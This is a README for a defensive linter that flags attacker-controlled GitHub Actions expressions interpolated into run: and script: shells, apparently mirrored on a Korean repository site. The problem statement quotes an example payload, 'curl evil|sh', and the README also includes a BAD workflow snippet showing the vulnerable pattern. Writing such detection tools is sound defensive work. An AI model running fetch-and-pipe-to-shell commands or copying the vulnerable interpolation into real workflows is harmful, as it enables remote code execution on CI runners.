workflow-expr-injection-lint

KO | EN

gitlite — search

#javascript #hacktoberfest #react #ai #go #golang #deep-learning #linux #nodejs #windows #cli #kubernetes #pytorch #ios

workflow-expr-injection-lint

(★ 10)

**Who:** maintainers who ship GitHub Actions workflows. **Pain:** attacker-controlled values from issues, PRs, commen...

workflow-expr-injection-lint 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# workflow-expr-injection-lint

**Who:** maintainers who ship GitHub Actions workflows. **Pain:** attacker-controlled values from issues, PRs, comments, and fork refs get interpolated into `run:` / `script:` shells via `${{ github.event.* }}`, turning a title like `` `curl evil|sh` `` into remote code execution on your runners. **Vs nearest tool:** [zizmor](https://github.com/zizmorcore/zizmor) is a broad Actions audit suite; this package is a **narrow, deterministic wedge** that only hunts untrusted expression→shell injection patterns with severity + allowlist config, markdown/SARIF output, and a composite Action — no full audit surface.

## Features (v0.1)

- Scans `run:` and `with.script:` steps for dangerous `${{ ... }}` interpolations
- Default untrusted prefixes (`github.event.issue.*`, PR title/body/head.ref, `github.head_ref`, commit messages, `client_payload`, …)
- Severity + `fail-on` + expression/file/job/step allowlist via `.expr-injection-lint.yml`
- Markdown and SARIF reports; exits `1` when findings meet `fail-on`
- Composite GitHub Action wrapper
- Windows- and Linux-safe paths

## 60-second quickstart

### bash

```bash
# from the repository root
npm install
npm test
node --import tsx src/cli.ts --help
node --import tsx src/cli.ts fixtures/vulnerable.yml
node --import tsx src/cli.ts fixtures/safe.yml; echo exit:$?
```

### PowerShell

```powershell
# from the repository root
npm install
npm test
node --import tsx src/cli.ts --help
node --import tsx src/cli.ts fixtures/vulnerable.yml
node --import tsx src/cli.ts fixtures/safe.yml; Write-Host "exit:$LASTEXITCODE"
```

After `npm run build`, the binary is `node dist/cli.js` (also linked as `workflow-expr-injection-lint`).

## Fixture demo

`fixtures/vulnerable.yml` interpolates issue titles, PR head refs, comment bodies, and PR titles directly into shells — the linter must report findings and exit `1`.

`fixtures/safe.yml` passes untrusted values through `env:`, uses allowlisted numeric/repo contexts, and reads PR data via `context.payload` in `github-script` — expect exit `0`.

```bash
node --import tsx src/cli.ts fixtures/vulnerable.yml -f both -o report.md --sarif-output out.sarif
node --import tsx src/cli.ts fixtures/safe.yml
```

## CLI

```text
workflow-expr-injection-lint [options] [path ...]

-c, --config PATH     .expr-injection-lint.yml
  -f, --format FMT      markdown | sarif | both
  -o, --output PATH     write markdown
      --sarif-output    write SARIF
  -h, --help
```

Paths may be a workflow file, a directory of YAML, or a repo root (prefers `.github/workflows`).

## Config (`.expr-injection-lint.yml`)

```yaml
severity: error          # error | warning | note
fail-on: error           # exit 1 when findings >= this severity
allowlist:
  - expression: github.event.pull_request.number
  - expression: github.event.repository.*
  - file: release.yml
    job: publish
    step: tagged echo
# untrusted-prefixes:    # optional full override of defaults
#   - github.event.issue.
```

## GitHub Action

```yaml
- uses: ./
  with:
    path: .
    format: both
    markdown-output: expr-injection-report.md
    sarif-output: expr-injection.sarif
```

### Action inputs

| Input | Default | Description |
| --- | --- | --- |
| `path` | `.` | File, directory, or repo root to scan |
| `config` | _(empty)_ | Optional config path |
| `format` | `both` | `markdown`, `sarif`, or `both` |
| `markdown-output` | `expr-injection-report.md` | Markdown report path |
| `sarif-output` | `expr-injection.sarif` | SARIF report path |

## Remediation pattern

```yaml
# BAD
- run: echo "${{ github.event.issue.title }}"

# GOOD
- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"
```

## v0.2 limitations (honest)

- Does not analyze `uses:` argument injection, composite action JS, or reusable workflow `secrets:` inheritance (zizmor-class coverage).
- Does not taint-track env vars that later expand attacker data through intermediate steps.
- Does not evaluate GitHub expression functions (`format`, `contains`, …) beyond extracting `github.*` tokens.
- Does not parse `run:` scripts generated by matrix expansion or reusable workflow inputs deeply.
- Line numbers for block scalars are best-effort from the YAML AST range.

## License

MIT

workflow-expr-injection-lint

workflow-expr-injection-lint 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

workflow-expr-injection-lint

workflow-expr-injection-lint 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README